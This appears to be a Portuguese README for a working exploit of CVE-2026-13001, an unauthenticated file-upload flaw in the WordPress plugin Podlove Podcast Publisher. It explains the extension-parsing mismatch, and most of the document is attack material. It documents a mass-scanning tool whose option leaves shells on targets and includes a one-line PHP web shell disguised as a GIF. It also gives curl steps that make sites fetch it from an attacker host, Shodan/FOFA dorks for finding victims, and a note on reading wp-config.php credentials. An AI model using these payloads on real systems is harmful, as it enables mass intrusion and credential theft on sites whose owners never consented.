
Podlove Podcast Publisher RCE por Upload de Arquivo Não Autenticado através da Incompatibilidade entre is_image() e extract_file_extension() | CVSS 9.8
CVE-2026-13001 é uma vulnerabilidade crítica (CVSS 9.8) de upload de arquivo arbitrário não autenticado no plugin WordPress Podlove Podcast Publisher versões ≤ 4.5.1.
A vulnerabilidade explora uma incompatibilidade entre duas funções internas que analisam extensões de arquivo de forma diferente:
is_image() usa basename() que inclui strings de consulta → URL shell.php?.gif aparece como .gif ✅ (imagem válida)extract_file_extension() usa apenas o caminho de parse_url() → retorna .php → arquivo salvo com extensão .php 🚨Atacantes fazem upload de poliglotas GIF89a PHP (cabeçalho GIF válido + PHP embutido) que passam na validação de imagem, mas executam como PHP quando acessados.
| Versão | Estado |
|---|---|
| ≤ 4.5.1 | Vulnerável |
| 4.5.2+ | Corrigida |
Descoberto por: Talal Nasraddeen via Wordfence (14 de julho de 2026)
// is_image() — usa basename() que inclui query string
function is_image($url) {
$ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
return in_array($ext, ['jpg','jpeg','png','gif','webp']);
}
// URL: https://attacker.com/shell.php?.gif
// basename() → "shell.php?.gif" → ext = "gif" ✅ BYPASSED
// extract_file_extension() — usa apenas o caminho de parse_url()
function extract_file_extension($url) {
$path = parse_url($url, PHP_URL_PATH);
return pathinfo($path, PATHINFO_EXTENSION);
}
// URL: https://attacker.com/shell.php?.gif
// parse_url() → "/shell.php" → ext = "php" 🚨 SALVO COMO .php
1. Atacante hospeda poliglota GIF89a PHP em attacker.com/shell.php?.gif
2. GET /?podlove_image_cache_url={hex(url)}&podlove_file_name=test
3. is_image() valida extensão .gif → PASSA
4. Plugin baixa o arquivo → salva como test_original.php em cache/
5. Atacante acessa /wp-content/cache/podlove/{hash}/test_original.php
6. PHP executa → RCE
git clone https://github.com/shinthink/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt
# Alvo único
python cve_2026_13001.py -t target.com
# Varredura em massa
python cve_2026_13001.py -f targets.txt -o shells.txt
# URL de payload personalizada
python cve_2026_13001.py -t target.com --payload-url https://yourserver/shell.php?.gif
# Modo debug, manter shells
python cve_2026_13001.py -t target.com --debug --no-cleanup
-t, --target Alvo único (domínio ou IP)
-f, --file Lista de alvos, um por linha
-o, --output Salvar URLs de RCE em arquivo
--payload-url URL hospedando o poliglota PHP (padrão: GitHub raw)
--threads Trabalhadores concorrentes (padrão: 30)
--no-cleanup Manter shells no alvo
--debug Mostrar cada requisição HTTP
-v, --verbose Saída detalhada
$ python cve_2026_13001.py -t podcast-site.com
Podlove Podcast Publisher | CVE-2026-13001 | CVSS 9.8
Host : podcast-site.com
Podlove : YES v4.5.1
Upload : YES
RCE : YES
Shell : https://podcast-site.com/wp-content/cache/podlove/a1/b2.../think_xxx_original.php?t=TOKEN
Output : uid=33(www-data) gid=33(www-data)
Time : 4.2s
Targets: 500 | Threads: 30
Payload URL: https://raw.githubusercontent.com/shinthink/payloads/main/shell.gif
[RCE] podcast-vuln-01.com https://podcast-vuln-01.com/wp-content/cache/podlove/...
[150/500] 30% | Det:42 RCE:8
Passo 1 — Hospede um shell poliglota
// shell.php — salve e hospede no seu servidor
GIF89a<?php system($_GET['c']); ?>
Passo 2 — Codifique em hex a URL com bypass
# URL: https://attacker.com/shell.php?.gif
echo -n "https://attacker.com/shell.php?.gif" | xxd -p | tr -d '\n'
Passo 3 — Dispare o download em cache
curl 'https://target.com/?podlove_image_cache_url=68747470733a2f2f...&podlove_file_name=shell&podlove_width=100&podlove_height=100&podlove_crop=0'
Passo 4 — Acesse o shell
# Caminho: wp-content/cache/podlove/{h[:2]}/{h[2:]}/{name}_original.php
curl 'https://target.com/wp-content/cache/podlove/a1/b2c3.../shell_original.php?c=id'
FOFA: body="podlove-podcasting-plugin-for-wordpress"
Shodan: http.html:"podlove"
A exploração bem-sucedida resulta em execução remota de código como o usuário do servidor web:
wp-config.php → credenciais do banco de dadosAPENAS PARA FINS EDUCACIONAIS E TESTES AUTORIZADOS.
Os autores não assumem nenhuma responsabilidade pelo uso indevido.
Não afiliado ao Podlove.
| Recurso | Link |
|---|
| Aviso da Wordfence | wordfence.com |
| Comunicado de Segurança do Podlove | podlove.org |
| Entrada no NVD | CVE-2026-13001 |
| PoC por Raimu0x19 | GitHub |
| Pesquisador | Talal Nasraddeen |